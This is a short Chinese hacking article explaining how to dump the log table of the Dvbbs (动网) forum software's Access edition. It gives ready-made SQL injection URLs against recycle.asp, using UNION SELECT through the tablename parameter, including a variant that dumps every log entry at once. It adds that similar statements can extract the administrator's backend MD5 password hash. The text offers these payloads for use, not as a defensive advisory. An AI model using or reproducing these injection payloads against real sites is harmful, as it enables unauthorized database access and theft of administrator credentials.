动网access版暴log库终极大法
摘要：注:需要获得前台管理员权限后使用文章中指定recycle.asp?tablename=Dv_bbs1%20union%20select%20...
注:需要获得前台管理员权限后使用
文章中指定recycle.asp?tablename=Dv_bbs1%20union%20select%201,1,l_content,1,1,1%20from%20dv_log%20where%20l_id=5%20union%20select%201,1,1,1,1,1%20from%20dv_bbs1&page=2000（回收站的最后页的id），指变换l_id=‘'的值来暴出l_concent的值一次只能暴一个内容，看了下动网的数据库表，只要指定l_announceid=0就可以全部暴出，语句这样构造recycle.asp?tablename=Dv_bbs1%20union%20select%201,1,l_content,1,1,1%20from%20dv_log%20where%20l_announceid=0%20union%20select%201,1,1,1,1,1%20from%20dv_bbs1&page=2000嘿嘿，是不是全部暴出来了，构造适当的语句可以暴出管理员的后台md5值等等内容。另注：暴出数据字段的内容是回收站帖子的最后页！
【动网access版暴log库终极大法】相关文章：
★ 系统安全：Win XP SP2 配置及故障解决技巧大揭露
★ 2007 10.30动易网站管理系统vote.asp页面存在SQL注入漏洞
★ 跨站脚本说明
★ 经过测试,看来Administrastor，账户真的不安全
上一篇：
逐一侦破网上银行安全漏洞
下一篇：
三则黑客的Google搜索技巧